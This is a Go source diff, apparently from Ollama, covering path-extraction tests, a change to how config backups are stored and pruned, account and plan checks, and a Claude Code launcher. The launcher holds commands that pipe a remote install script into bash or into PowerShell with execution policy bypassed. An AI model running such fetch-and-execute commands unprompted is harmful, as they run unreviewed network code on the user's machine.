+	assertNotContains(t, res[4], "\"")
+	for _, r := range res {
+		assertNotContains(t, r, "inbetween1")
+	}
+	assertNotContainsSlice(t, res, "./1.svg")
+}
+
+func TestExtractNamesWindowsPaths(t *testing.T) {
+	input := ` some preamble
+ c:/users/jdoe/one.png inbetween1 c:/program files/someplace/two.jpg inbetween2
+ /absolute/nospace/three.jpeg inbetween3 /absolute/with space/four.png inbetween4
+./relative\ path/five.JPG inbetween5 "./relative with/spaces/six.png inbetween6
+d:\path with\spaces\seven.JPEG inbetween7 c:\users\jdoe\eight.png inbetween8
+ d:\program files\someplace\nine.png inbetween9 "E:\program files\someplace\ten.PNG
+c:/users/jdoe/eleven.webp inbetween11 c:/program files/someplace/twelve.WebP inbetween12
+d:\path with\spaces\thirteen.WEBP some ending
+`
+	res := ExtractNames(input)
+	if len(res) != 13 {
+		t.Fatalf("len = %d, want 13", len(res))
+	}
+	assertNotContainsSlice(t, res, "inbetween2")
+	assertContains(t, res[0], "one.png")
+	assertContains(t, res[0], "c:")
+	assertContains(t, res[1], "two.jpg")
+	assertContains(t, res[1], "c:")
+	assertContains(t, res[2], "three.jpeg")
+	assertContains(t, res[3], "four.png")
+	assertContains(t, res[4], "five.JPG")
+	assertContains(t, res[5], "six.png")
+	assertContains(t, res[6], "seven.JPEG")
+	assertContains(t, res[6], "d:")
+	assertContains(t, res[7], "eight.png")
+	assertContains(t, res[7], "c:")
+	assertContains(t, res[8], "nine.png")
+	assertContains(t, res[8], "d:")
+	assertContains(t, res[9], "ten.PNG")
+	assertContains(t, res[9], "E:")
+	assertContains(t, res[10], "eleven.webp")
+	assertContains(t, res[10], "c:")
+	assertContains(t, res[11], "twelve.WebP")
+	assertContains(t, res[11], "c:")
+	assertContains(t, res[12], "thirteen.WEBP")
+	assertContains(t, res[12], "d:")
+}
+
+func TestExtractNamesDragDropPaths(t *testing.T) {
+	input := `file:///Users/jdoe/Pictures/one.png file://localhost/C:/Users/jdoe/Pictures/two.webp file:///C:/Users/jdoe/Pictures/three.jpg .\relative\four.png`
+	res := ExtractNames(input)
+	if len(res) != 4 {
+		t.Fatalf("len = %d, want 4", len(res))
+	}
+	assertContains(t, res[0], "file:///Users/jdoe/Pictures/one.png")
+	assertContains(t, res[1], "file://localhost/C:/Users/jdoe/Pictures/two.webp")
+	assertContains(t, res[2], "file:///C:/Users/jdoe/Pictures/three.jpg")
+	assertContains(t, res[3], `.\relative\four.png`)
+}
+
+func TestNormalizePathFileURL(t *testing.T) {
+	got := NormalizePath("file:///C:/Users/jdoe/Pictures/img.png")
+	want := filepath.FromSlash("C:/Users/jdoe/Pictures/img.png")
+	if got != want {
+		t.Fatalf("path = %q, want %q", got, want)
+	}
+}
+
+func TestExtractRemovesQuotedFilepath(t *testing.T) {
+	dir := t.TempDir()
+	fp := filepath.Join(dir, "img.jpg")
+	data := make([]byte, 600)
+	copy(data, []byte{
+		0xff, 0xd8, 0xff, 0xe0, 0x00, 0x10, 'J', 'F', 'I', 'F',
+		0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+		0xff, 0xd9,
+	})
+	if err := os.WriteFile(fp, data, 0o600); err != nil {
+		t.Fatalf("failed to write test image: %v", err)
+	}
+
+	input := "before '" + fp + "' after"
+	cleaned, imgs, err := Extract(input)
+	if err != nil {
+		t.Fatalf("err: %v", err)
+	}
+	if len(imgs) != 1 {
+		t.Fatalf("imgs = %d, want 1", len(imgs))
+	}
+	if cleaned != "before  after" {
+		t.Fatalf("cleaned = %q, want %q", cleaned, "before  after")
+	}
+}
+
+func TestExtractFileURL(t *testing.T) {
+	dir := t.TempDir()
+	fp := filepath.Join(dir, "img.png")
+	data := make([]byte, 600)
+	copy(data, []byte{0x89, 'P', 'N', 'G', '\r', '\n', 0x1a, '\n'})
+	if err := os.WriteFile(fp, data, 0o600); err != nil {
+		t.Fatalf("failed to write test image: %v", err)
+	}
+
+	fileURL := (&url.URL{Scheme: "file", Path: fp}).String()
+	cleaned, imgs, err := Extract("before " + fileURL + " after")
+	if err != nil {
+		t.Fatalf("err: %v", err)
+	}
+	if len(imgs) != 1 {
+		t.Fatalf("imgs = %d, want 1", len(imgs))
+	}
+	if cleaned != "before  after" {
+		t.Fatalf("cleaned = %q, want %q", cleaned, "before  after")
+	}
+}
+
+func TestExtractWAV(t *testing.T) {
+	dir := t.TempDir()
+	fp := filepath.Join(dir, "sample.wav")
+	data := make([]byte, 600)
+	copy(data[:44], []byte{
+		'R', 'I', 'F', 'F',
+		0x58, 0x02, 0x00, 0x00,
+		'W', 'A', 'V', 'E',
+		'f', 'm', 't', ' ',
+		0x10, 0x00, 0x00, 0x00,
+		0x01, 0x00,
+		0x01, 0x00,
+		0x80, 0x3e, 0x00, 0x00,
+		0x00, 0x7d, 0x00, 0x00,
+		0x02, 0x00,
+		0x10, 0x00,
+		'd', 'a', 't', 'a',
+		0x34, 0x02, 0x00, 0x00,
+	})
+	if err := os.WriteFile(fp, data, 0o600); err != nil {
+		t.Fatalf("failed to write test audio: %v", err)
+	}
+
+	input := "before " + fp + " after"
+	cleaned, imgs, err := Extract(input)
+	if err != nil {
+		t.Fatalf("err: %v", err)
+	}
+	if len(imgs) != 1 {
+		t.Fatalf("imgs = %d, want 1", len(imgs))
+	}
+	if cleaned != "before  after" {
+		t.Fatalf("cleaned = %q, want %q", cleaned, "before  after")
+	}
+}
+
+func assertContains(t *testing.T, s, want string) {
+	t.Helper()
+	if !strings.Contains(s, want) {
+		t.Fatalf("%q does not contain %q", s, want)
+	}
+}
+
+func assertNotContains(t *testing.T, s, want string) {
+	t.Helper()
+	if strings.Contains(s, want) {
+		t.Fatalf("%q unexpectedly contains %q", s, want)
+	}
+}
+
+func assertNotContainsSlice(t *testing.T, ss []string, want string) {
+	t.Helper()
+	for _, s := range ss {
+		if strings.Contains(s, want) {
+			t.Fatalf("slice unexpectedly contains %q in %q", want, s)
+		}
+	}
+}

cmd/internal/fileutil/files.go

@@ -8,9 +8,16 @@ import (
 	"fmt"
 	"os"
 	"path/filepath"
+	"sort"
+	"strconv"
+	"strings"
 	"time"
 )
 
+// Keep a bounded number of backups per file so config backups do not grow
+// without limit. We keep the 5 most recent backups and do not pin the oldest.
+const maxBackupsPerFile = 5
+
 // ReadJSON reads a JSON object file into a generic map.
 func ReadJSON(path string) (map[string]any, error) {
 	data, err := os.ReadFile(path)
@@ -36,34 +43,51 @@ func copyFile(src, dst string) error {
 	return os.WriteFile(dst, data, info.Mode().Perm())
 }
 
-// BackupDir returns the shared backup directory used before overwriting files.
+// BackupDir returns the shared backup root used before overwriting files.
 func BackupDir() string {
-	return filepath.Join(os.TempDir(), "ollama-backups")
+	if home, err := os.UserHomeDir(); err == nil && home != "" {
+		return filepath.Join(home, ".ollama", "backup")
+	}
+	return filepath.Join(os.TempDir(), "ollama-backup")
 }
 
-func backupToTmp(srcPath string) (string, error) {
+func writeBackupCopy(srcPath string, integration string) (string, error) {
 	dir := BackupDir()
+	name := filepath.Base(srcPath)
+	if integration != "" {
+		dir = filepath.Join(dir, integration)
+	}
+
 	if err := os.MkdirAll(dir, 0o755); err != nil {
 		return "", err
 	}
 
-	backupPath := filepath.Join(dir, fmt.Sprintf("%s.%d", filepath.Base(srcPath), time.Now().Unix()))
+	backupPath := filepath.Join(dir, fmt.Sprintf("%s.%d", name, time.Now().Unix()))
 	if err := copyFile(srcPath, backupPath); err != nil {
 		return "", err
 	}
+	pruneOldBackups(dir, name, maxBackupsPerFile)
 	return backupPath, nil
 }
 
-// WriteWithBackup writes data to path via temp file + rename, backing up any existing file first.
-func WriteWithBackup(path string, data []byte) error {
+// WriteWithBackup writes data to path via temp file + rename, backing up any
+// existing file first. Callers may optionally pass one integration name to
+// store backups under BackupDir()/.../<integration>/.
+func WriteWithBackup(path string, data []byte, integration ...string) error {
+	backupIntegration := ""
+	if len(integration) > 0 {
+		backupIntegration = integration[0]
+	}
+
 	var backupPath string
 	// backup must be created before any writes to the target file
 	if existingContent, err := os.ReadFile(path); err == nil {
-		if !bytes.Equal(existingContent, data) {
-			backupPath, err = backupToTmp(path)
-			if err != nil {
-				return fmt.Errorf("backup failed: %w", err)
-			}
+		if bytes.Equal(existingContent, data) {
+			return nil
+		}
+		backupPath, err = writeBackupCopy(path, backupIntegration)
+		if err != nil {
+			return fmt.Errorf("backup failed: %w", err)
 		}
 	} else if !os.IsNotExist(err) {
 		return fmt.Errorf("read existing file: %w", err)
@@ -101,3 +125,52 @@ func WriteWithBackup(path string, data []byte) error {
 
 	return nil
 }
+
+func pruneOldBackups(dir, name string, keep int) {
+	if keep < 1 {
+		return
+	}
+
+	entries, err := os.ReadDir(dir)
+	if err != nil {
+		return
+	}
+
+	type backupEntry struct {
+		name      string
+		timestamp int64
+	}
+
+	prefix := name + "."
+	backups := make([]backupEntry, 0, len(entries))
+	for _, entry := range entries {
+		if entry.IsDir() || !strings.HasPrefix(entry.Name(), prefix) {
+			continue
+		}
+
+		timestamp, err := strconv.ParseInt(strings.TrimPrefix(entry.Name(), prefix), 10, 64)
+		if err != nil {
+			continue
+		}
+
+		backups = append(backups, backupEntry{
+			name:      entry.Name(),
+			timestamp: timestamp,
+		})
+	}
+
+	if len(backups) <= keep {
+		return
+	}
+
+	sort.Slice(backups, func(i, j int) bool {
+		if backups[i].timestamp != backups[j].timestamp {
+			return backups[i].timestamp > backups[j].timestamp
+		}
+		return backups[i].name > backups[j].name
+	})
+
+	for _, backup := range backups[keep:] {
+		_ = os.Remove(filepath.Join(dir, backup.name))
+	}
+}

cmd/internal/fileutil/files_test.go

@@ -18,6 +18,12 @@ func TestMain(m *testing.M) {
 	if err := os.Setenv("TMPDIR", tmpRoot); err != nil {
 		panic(err)
 	}
+	if err := os.Setenv("HOME", tmpRoot); err != nil {
+		panic(err)
+	}
+	if err := os.Setenv("USERPROFILE", tmpRoot); err != nil {
+		panic(err)
+	}
 
 	code := m.Run()
 	_ = os.RemoveAll(tmpRoot)
@@ -41,6 +47,17 @@ func isolatedTempDir(t *testing.T) string {
 func TestWriteWithBackup(t *testing.T) {
 	tmpDir := isolatedTempDir(t)
 
+	t.Run("uses ollama directory under home", func(t *testing.T) {
+		home := t.TempDir()
+		t.Setenv("HOME", home)
+		t.Setenv("USERPROFILE", home)
+
+		want := filepath.Join(home, ".ollama", "backup")
+		if got := BackupDir(); got != want {
+			t.Fatalf("BackupDir() = %q, want %q", got, want)
+		}
+	})
+
 	t.Run("creates file", func(t *testing.T) {
 		path := filepath.Join(tmpDir, "new.json")
 		data := mustMarshal(t, map[string]string{"key": "value"})
@@ -63,7 +80,7 @@ func TestWriteWithBackup(t *testing.T) {
 		}
 	})
 
-	t.Run("creates backup in the temp backup directory", func(t *testing.T) {
+	t.Run("creates backup in the shared backup directory", func(t *testing.T) {
 		path := filepath.Join(tmpDir, "backup.json")
 
 		os.WriteFile(path, []byte(`{"original": true}`), 0o644)
@@ -110,6 +127,35 @@ func TestWriteWithBackup(t *testing.T) {
 		}
 	})
 
+	t.Run("stores hinted backups under a subdirectory", func(t *testing.T) {
+		path := filepath.Join(tmpDir, "hinted.json")
+		os.WriteFile(path, []byte(`{"original": true}`), 0o644)
+
+		data := mustMarshal(t, map[string]bool{"updated": true})
+		if err := WriteWithBackup(path, data, "openclaw"); err != nil {
+			t.Fatal(err)
+		}
+
+		entries, err := os.ReadDir(filepath.Join(BackupDir(), "openclaw"))
+		if err != nil {
+			t.Fatal(err)
+		}
+
+		var found bool
+		for _, entry := range entries {
+			name := entry.Name()
+			if len(name) > len("hinted.json.") && name[:len("hinted.json.")] == "hinted.json." {
+				found = true
+				_ = os.Remove(filepath.Join(BackupDir(), "openclaw", name))
+				break
+			}
+		}
+
+		if !found {
+			t.Error("backup file was not created under hint directory")
+		}
+	})
+
 	t.Run("no backup for new file", func(t *testing.T) {
 		path := filepath.Join(tmpDir, "nobak.json")
 
@@ -189,6 +235,35 @@ func TestWriteWithBackup(t *testing.T) {
 			t.Error("backup file with timestamp not found")
 		}
 	})
+
+	t.Run("retains only the five newest backups per file", func(t *testing.T) {
+		path := filepath.Join(tmpDir, "pruned.json")
+		if err := os.WriteFile(path, []byte(`{"v": 0}`), 0o644); err != nil {
+			t.Fatal(err)
+		}
+
+		for i := 1; i <= maxBackupsPerFile; i++ {
+			backupPath := filepath.Join(BackupDir(), fmt.Sprintf("pruned.json.%d", i))
+			if err := os.WriteFile(backupPath, []byte(fmt.Sprintf(`{"v": %d}`, i)), 0o644); err != nil {
+				t.Fatal(err)
+			}
+		}
+
+		if err := WriteWithBackup(path, []byte(`{"v": 1}`)); err != nil {
+			t.Fatal(err)
+		}
+
+		backups, err := filepath.Glob(filepath.Join(BackupDir(), "pruned.json.*"))
+		if err != nil {
+			t.Fatal(err)
+		}
+		if len(backups) != maxBackupsPerFile {
+			t.Fatalf("expected %d backups after pruning, got %d", maxBackupsPerFile, len(backups))
+		}
+		if _, err := os.Stat(filepath.Join(BackupDir(), "pruned.json.1")); !os.IsNotExist(err) {
+			t.Fatalf("expected oldest backup to be pruned, stat err = %v", err)
+		}
+	})
 }
 
 // Edge case tests for files.go
@@ -251,6 +326,36 @@ func TestWriteWithBackup_PermissionDenied(t *testing.T) {
 	}
 }
 
+func TestWriteWithBackup_UnchangedContentIsNoOp(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("permission tests unreliable on Windows")
+	}
+
+	tmpDir := isolatedTempDir(t)
+	path := filepath.Join(tmpDir, "unchanged-noop.json")
+	data := []byte(`{"same":true}`)
+	if err := os.WriteFile(path, data, 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	if err := os.Chmod(tmpDir, 0o555); err != nil {
+		t.Fatal(err)
+	}
+	defer os.Chmod(tmpDir, 0o755)
+
+	if err := WriteWithBackup(path, data); err != nil {
+		t.Fatalf("expected unchanged write to be a no-op, got %v", err)
+	}
+
+	backups, err := filepath.Glob(filepath.Join(BackupDir(), "unchanged-noop.json.*"))
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(backups) != 0 {
+		t.Fatalf("expected no backups for unchanged content, got %d", len(backups))
+	}
+}
+
 // TestWriteWithBackup_DirectoryDoesNotExist verifies behavior when target directory doesn't exist.
 // writeWithBackup doesn't create directories - caller is responsible.
 func TestWriteWithBackup_DirectoryDoesNotExist(t *testing.T) {
@@ -302,9 +407,9 @@ func TestBackupToTmp_SpecialCharsInFilename(t *testing.T) {
 	path := filepath.Join(tmpDir, "my config (backup).json")
 	os.WriteFile(path, []byte(`{"test": true}`), 0o644)
 
-	backupPath, err := backupToTmp(path)
+	backupPath, err := writeBackupCopy(path, "")
 	if err != nil {
-		t.Fatalf("backupToTmp with special chars failed: %v", err)
+		t.Fatalf("writeBackupCopy with special chars failed: %v", err)
 	}
 
 	// Verify backup exists and has correct content

cmd/launch/account.go

@@ -0,0 +1,371 @@
+package launch
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"net/http"
+	"os"
+	"strings"
+	"time"
+
+	"github.com/ollama/ollama/api"
+)
+
+const (
+	// DefaultUpgradeURL is the fixed destination for subscription upgrades.
+	DefaultUpgradeURL = "https://ollama.com/upgrade"
+
+	accountCheckTimeout = 3 * time.Second
+)
+
+var (
+	ErrPlanVerificationUnavailable = errors.New("Could not verify Ollama plan. Try again in a moment or use a local model.")
+	errUpgradeCancelled            = errors.New("upgrade cancelled")
+)
+
+type accountStateStatus int
+
+const (
+	accountStateUnknown accountStateStatus = iota
+	accountStateSignedOut
+	accountStateSignedIn
+)
+
+type AccountState struct {
+	Status accountStateStatus
+	Plan   string
+}
+
+type AccountStatePrefetch struct {
+	done  chan struct{}
+	state AccountState
+}
+
+func StartAccountStatePrefetch(ctx context.Context) *AccountStatePrefetch {
+	if ctx == nil {
+		ctx = context.Background()
+	}
+	p := &AccountStatePrefetch{done: make(chan struct{})}
+	go func() {
+		state := AccountState{Status: accountStateUnknown}
+		client, err := api.ClientFromEnvironment()
+		if err == nil {
+			prefetchCtx, cancel := context.WithTimeout(ctx, accountCheckTimeout)
+			defer cancel()
+			if disabled, known := cloudStatusDisabled(prefetchCtx, client); !known || !disabled {
+				state = launchAccountState(prefetchCtx, client)
+			}
+		}
+		p.state = state
+		close(p.done)
+	}()
+	return p
+}
+
+func (p *AccountStatePrefetch) StateIfReady() *AccountState {
+	if p == nil {
+		return nil
+	}
+	select {
+	case <-p.done:
+		state := p.state
+		return &state
+	default:
+		return nil
+	}
+}
+
+func (p *AccountStatePrefetch) StateUpdates(ctx context.Context) <-chan *AccountState {
+	if p == nil {
+		return nil
+	}
+	if ctx == nil {
+		ctx = context.Background()
+	}
+	out := make(chan *AccountState, 1)
+	go func() {
+		defer close(out)
+		select {
+		case <-p.done:
+			if p.state.Status == accountStateUnknown {
+				return
+			}
+			state := p.state
+			select {
+			case out <- &state:
+			case <-ctx.Done():
+			}
+		case <-ctx.Done():
+		}
+	}()
+	return out
+}
+
+func launchAccountState(ctx context.Context, client *api.Client) AccountState {
+	if client == nil {
+		return AccountState{Status: accountStateUnknown}
+	}
+
+	user, err := whoamiWithTimeout(ctx, client)
+	if err != nil {
+		var authErr api.AuthorizationError
+		if errors.As(err, &authErr) && authErr.StatusCode == http.StatusUnauthorized {
+			return AccountState{Status: accountStateSignedOut}
+		}
+		return AccountState{Status: accountStateUnknown}
+	}
+	if user == nil || strings.TrimSpace(user.Name) == "" {
+		return AccountState{Status: accountStateSignedOut}
+	}
+	return AccountState{
+		Status: accountStateSignedIn,
+		Plan:   strings.TrimSpace(user.Plan),
+	}
+}
+
+func whoamiWithTimeout(ctx context.Context, client *api.Client) (*api.UserResponse, error) {
+	if ctx == nil {
+		ctx = context.Background()
+	}
+	checkCtx, cancel := context.WithTimeout(ctx, accountCheckTimeout)
+	defer cancel()
+	return client.Whoami(checkCtx)
+}
+
+func ApplyAccountStateToSelectionItems(items []ModelItem, state AccountState) []SelectionItem {
+	out := make([]SelectionItem, len(items))
+	for i, item := range items {
+		out[i] = SelectionItem{
+			Name:              item.Name,
+			Description:       item.Description,
+			Recommended:       item.Recommended,
+			AvailabilityBadge: availabilityBadge(item, state),
+		}
+	}
+	return out
+}
+
+func SelectionItemsWithAccountState(items []ModelItem, state *AccountState) []SelectionItem {
+	if state == nil || !selectionItemsNeedAccountState(items) {
+		return ApplyAccountStateToSelectionItems(items, AccountState{Status: accountStateUnknown})
+	}
+	return ApplyAccountStateToSelectionItems(items, *state)
+}
+
+func selectionItemsNeedAccountState(items []ModelItem) bool {
+	for _, item := range items {
+		if isCloudModelName(item.Name) && itemHasRecommendationMetadata(item) {
+			return true
+		}
+	}
+	return false
+}
+
+func (c *launcherClient) selectionItemUpdates(ctx context.Context, items []ModelItem, state *AccountState) <-chan []SelectionItem {
+	if !selectionItemsNeedAccountState(items) || state != nil {
+		return nil
+	}
+	if ctx == nil {
+		ctx = context.Background()
+	}
+
+	stateUpdates := c.accountStateUpdateSource(ctx)
+	if stateUpdates == nil {
+		return nil
+	}
+
+	out := make(chan []SelectionItem, 1)
+	go func() {
+		defer close(out)
+		select {
+		case state, ok := <-stateUpdates:
+			if !ok || state == nil {
+				return
+			}
+			select {
+			case out <- SelectionItemsWithAccountState(items, state):
+			case <-ctx.Done():
+			}
+		case <-ctx.Done():
+		}
+	}()
+	return out
+}
+
+func (c *launcherClient) accountStateUpdateSource(ctx context.Context) <-chan *AccountState {
+	if c.accountStateUpdates != nil {
+		return c.accountStateUpdates(ctx)
+	}
+	if c.apiClient == nil {
+		return nil
+	}
+	out := make(chan *AccountState, 1)
+	go func() {
+		defer close(out)
+		state := launchAccountState(ctx, c.apiClient)
+		if state.Status == accountStateUnknown {
+			return
+		}
+		select {
+		case out <- &state:
+		case <-ctx.Done():
+		}
+	}()
+	return out
+}
+
+func availabilityBadge(item ModelItem, state AccountState) string {
+	if !isCloudModelName(item.Name) {
+		return ""
+	}
+	switch state.Status {
+	case accountStateSignedOut:
+		if itemHasRecommendationMetadata(item) {
+			return "Sign in required"
+		}
+	case accountStateSignedIn:
+		if item.RequiredPlan != "" && !PlanSatisfies(state.Plan, item.RequiredPlan) {
+			return "Upgrade required"
+		}
+	}
+	return ""
+}
+
+func itemHasRecommendationMetadata(item ModelItem) bool {
+	return item.Recommended || strings.TrimSpace(item.RequiredPlan) != ""
+}
+
+func (c *launcherClient) ensureCloudModelAccess(ctx context.Context, model string) error {
+	item, ok := c.modelRecommendationItem(ctx, model)
+	if !ok || strings.TrimSpace(item.RequiredPlan) == "" {
+		return nil
+	}
+
+	state := launchAccountState(ctx, c.apiClient)
+	if state.Status != accountStateUnknown {
+		c.accountState = &state
+	}
+	if state.Status == accountStateUnknown {
+		return nil
+	}
+
+	if state.Status == accountStateSignedOut {
+		if err := ensureCloudAuth(ctx, c.apiClient, model); err != nil {
+			return err
+		}
+		state = launchAccountState(ctx, c.apiClient)
+		if state.Status != accountStateUnknown {
+			c.accountState = &state
+		}
+		if state.Status == accountStateUnknown {
+			return nil
+		}
+	}
+
+	if PlanSatisfies(state.Plan, item.RequiredPlan) {
+		return nil
+	}
+
+	if err := c.runUpgradeFlow(ctx, item); err != nil {
+		return err
+	}
+	state = launchAccountState(ctx, c.apiClient)
+	if state.Status == accountStateUnknown {
+		return ErrPlanVerificationUnavailable
+	}
+	if state.Status != accountStateSignedIn || !PlanSatisfies(state.Plan, item.RequiredPlan) {
+		return errUpgradeCancelled
+	}
+	return nil
+}
+
+func (c *launcherClient) modelRecommendationItem(ctx context.Context, model string) (ModelItem, bool) {
+	for _, item := range c.recommendations(ctx) {
+		if item.Name == model {
+			return item, true
+		}
+	}
+	return ModelItem{}, false
+}
+
+func (c *launcherClient) runUpgradeFlow(ctx context.Context, item ModelItem) error {
+	if DefaultUpgrade != nil {
+		if _, err := DefaultUpgrade(item.Name, item.RequiredPlan); err != nil {
+			if errors.Is(err, ErrCancelled) {
+				return errUpgradeCancelled
+			}
+			return err
+		}
+		return nil
+	}
+
+	yes, err := ConfirmPrompt(fmt.Sprintf("Upgrade to use %s?", item.Name))
+	if errors.Is(err, ErrCancelled) {
+		return errUpgradeCancelled
+	}
+	if err != nil {
+		return err
+	}
+	if !yes {
+		return errUpgradeCancelled
+	}
+
+	fmt.Fprintf(os.Stderr, "\nTo upgrade, navigate to:\n    %s\n\n", DefaultUpgradeURL)
+	openNow, err := ConfirmPrompt("Open now?")
+	if errors.Is(err, ErrCancelled) {
+		return errUpgradeCancelled
+	}
+	if err != nil {
+		return err
+	}
+	if openNow {
+		OpenBrowser(DefaultUpgradeURL)
+	} else {
+		return errUpgradeCancelled
+	}
+
+	spinnerFrames := []string{"|", "/", "-", "\\"}
+	frame := 0
+	fmt.Fprintf(os.Stderr, "\033[90mwaiting for upgrade to complete... %s\033[0m", spinnerFrames[0])
+
+	ticker := time.NewTicker(200 * time.Millisecond)
+	defer ticker.Stop()
+
+	for {
+		select {
+		case <-ctx.Done():
+			fmt.Fprintf(os.Stderr, "\r\033[K")
+			return ctx.Err()
+		case <-ticker.C:
+			frame++
+			fmt.Fprintf(os.Stderr, "\r\033[90mwaiting for upgrade to complete... %s\033[0m", spinnerFrames[frame%len(spinnerFrames)])
+			if frame%10 != 0 {
+				continue
+			}
+			state := launchAccountState(ctx, c.apiClient)
+			if state.Status == accountStateUnknown {
+				fmt.Fprintf(os.Stderr, "\r\033[K")
+				return ErrPlanVerificationUnavailable
+			}
+			if state.Status == accountStateSignedIn && PlanSatisfies(state.Plan, item.RequiredPlan) {
+				fmt.Fprintf(os.Stderr, "\r\033[K\033[A\r\033[K\033[1mplan updated\033[0m\n")
+				return nil
+			}
+		}
+	}
+}
+
+// PlanSatisfies reports whether currentPlan can use a model that has a requiredPlan.
+func PlanSatisfies(currentPlan, requiredPlan string) bool {
+	required := normalizePlan(requiredPlan)
+	if required == "" || required == "free" {
+		return true
+	}
+	current := normalizePlan(currentPlan)
+	return current != "" && current != "free"
+}
+
+func normalizePlan(plan string) string {
+	return strings.ToLower(strings.TrimSpace(plan))
+}

cmd/launch/claude.go

@@ -7,6 +7,7 @@ import (
 	"path/filepath"
 	"runtime"
 	"strconv"
+	"strings"
 
 	"github.com/ollama/ollama/envconfig"
 )
@@ -37,17 +38,21 @@ func (c *Claude) findPath() (string, error) {
 	if runtime.GOOS == "windows" {
 		name = "claude.exe"
 	}
-	fallback := filepath.Join(home, ".claude", "local", name)
-	if _, err := os.Stat(fallback); err != nil {
-		return "", err
+	for _, fallback := range []string{
+		filepath.Join(home, ".local", "bin", name),
+		filepath.Join(home, ".claude", "local", name),
+	} {
+		if _, err := os.Stat(fallback); err == nil {
+			return fallback, nil
+		}
 	}
-	return fallback, nil
+	return "", fmt.Errorf("claude binary not found")
 }
 
-func (c *Claude) Run(model string, args []string) error {
-	claudePath, err := c.findPath()
+func (c *Claude) Run(model string, _ []LaunchModel, args []string) error {
+	claudePath, err := ensureClaudeInstalled()
 	if err != nil {
-		return fmt.Errorf("claude is not installed, install from https://code.claude.com/docs/en/quickstart")
+		return err
 	}
 
 	cmd := exec.Command(claudePath, c.args(model, args)...)
@@ -55,17 +60,104 @@ func (c *Claude) Run(model string, args []string) error {
 	cmd.Stdout = os.Stdout
 	cmd.Stderr = os.Stderr
 
-	env := append(os.Environ(),
-		"ANTHROPIC_BASE_URL="+envconfig.Host().String(),
+	cmd.Env = append(os.Environ(), c.envVars(model)...)
+	return cmd.Run()
+}
+
+func (c *Claude) envVars(model string) []string {
+	env := []string{
+		"ANTHROPIC_BASE_URL=" + envconfig.Host().String(),
 		"ANTHROPIC_API_KEY=",
 		"ANTHROPIC_AUTH_TOKEN=ollama",
 		"CLAUDE_CODE_ATTRIBUTION_HEADER=0",
-	)
+		"DISABLE_ERROR_REPORTING=1",
+		"DISABLE_FEEDBACK_COMMAND=1",
+		"CLAUDE_CODE_DISABLE_FEEDBACK_SURVEY=1",
+	}
 
 	env = append(env, c.modelEnvVars(model)...)
+	return env
+}
 
-	cmd.Env = env
-	return cmd.Run()
+func ensureClaudeInstalled() (string, error) {
+	if path, err := (&Claude{}).findPath(); err == nil {
+		return path, nil
+	}
+
+	if err := checkClaudeInstallerDependencies(); err != nil {
+		return "", err
+	}
+
+	ok, err := ConfirmPrompt("Claude Code is not installed. Install now?")
+	if err != nil {
+		return "", err
+	}
+	if !ok {
+		return "", fmt.Errorf("claude installation cancelled")
+	}
+
+	bin, args, err := claudeInstallerCommand(runtime.GOOS)
+	if err != nil {
+		return "", err
+	}
+
+	fmt.Fprintf(os.Stderr, "\nInstalling Claude Code...\n")
+	cmd := exec.Command(bin, args...)
+	cmd.Stdin = os.Stdin
+	cmd.Stdout = os.Stdout
+	cmd.Stderr = os.Stderr
+	if err := cmd.Run(); err != nil {
+		return "", fmt.Errorf("failed to install claude: %w", err)
+	}
+
+	path, err := (&Claude{}).findPath()
+	if err != nil {
+		return "", fmt.Errorf("claude was installed but the binary was not found on PATH\n\nYou may need to restart your shell")
+	}
+
+	fmt.Fprintf(os.Stderr, "%sClaude Code installed successfully%s\n\n", ansiGreen, ansiReset)
+	return path, nil
+}
+
+func checkClaudeInstallerDependencies() error {
+	switch runtime.GOOS {
+	case "windows":
+		if _, err := exec.LookPath("powershell"); err != nil {
+			return fmt.Errorf("claude is not installed and required dependencies are missing\n\nInstall the following first:\n  PowerShell: https://learn.microsoft.com/powershell/\n\nThen re-run:\n  ollama launch claude")
+		}
+	default:
+		var missing []string
+		if _, err := exec.LookPath("curl"); err != nil {
+			missing = append(missing, "curl: https://curl.se/")
+		}
+		if _, err := exec.LookPath("bash"); err != nil {
+			missing = append(missing, "bash: https://www.gnu.org/software/bash/")
+		}
+		if len(missing) > 0 {
+			return fmt.Errorf("claude is not installed and required dependencies are missing\n\nInstall the following first:\n  %s\n\nThen re-run:\n  ollama launch claude", strings.Join(missing, "\n  "))
+		}
+	}
+	return nil
+}
+
+func claudeInstallerCommand(goos string) (string, []string, error) {
+	switch goos {
+	case "windows":
+		return "powershell", []string{
+			"-NoProfile",
+			"-ExecutionPolicy",
+			"Bypass",
+			"-Command",
+			"irm https://claude.ai/install.ps1 | iex",
+		}, nil
+	case "darwin", "linux":
+		return "bash", []string{
+			"-c",
+			"curl -fsSL https://claude.ai/install.sh | bash",
+		}, nil
+	default:
+		return "", nil, fmt.Errorf("unsupported platform for claude install: %s", goos)
+	}
 }
 
 // modelEnvVars returns Claude Code env vars that route all model tiers through Ollama.

cmd/launch/claude_desktop.go

@@ -0,0 +1,888 @@
+package launch
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io"
+	"net/http"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"runtime"
+	"strings"
+	"time"
+
+	"github.com/ollama/ollama/cmd/config"
+	"github.com/ollama/ollama/cmd/internal/fileutil"
+	"golang.org/x/term"
+)
+
+const (
+	claudeDesktopIntegrationName = "claude-desktop"
+	claudeDesktopProfileName     = "Ollama"
+	claudeDesktopProfileID       = "00000000-0000-4000-8000-000000000114"
+	claudeDesktopGatewayBaseURL  = "https://ollama.com"
+	claudeDesktopAPIKeyURL       = "https://ollama.com/settings/keys"
+	claudeDesktopModelLabel      = "Ollama Cloud"
+	claudeDesktopUnsupported     = "Claude Desktop is no longer supported. Existing installations can be restored with 'ollama launch claude-desktop --restore'."
+	claudeDesktopSuccessMessage  = "Claude Desktop profile changed to Ollama Cloud."
+	claudeDesktopRestoreMessage  = "To restore the usual Claude profile, run: ollama launch claude-desktop --restore"
+	claudeDesktopRestoredMessage = "Claude Desktop restored to the usual Claude profile."
+)
+
+var (
+	claudeDesktopGOOS           = runtime.GOOS
+	claudeDesktopUserHome       = os.UserHomeDir
+	claudeDesktopStat           = os.Stat
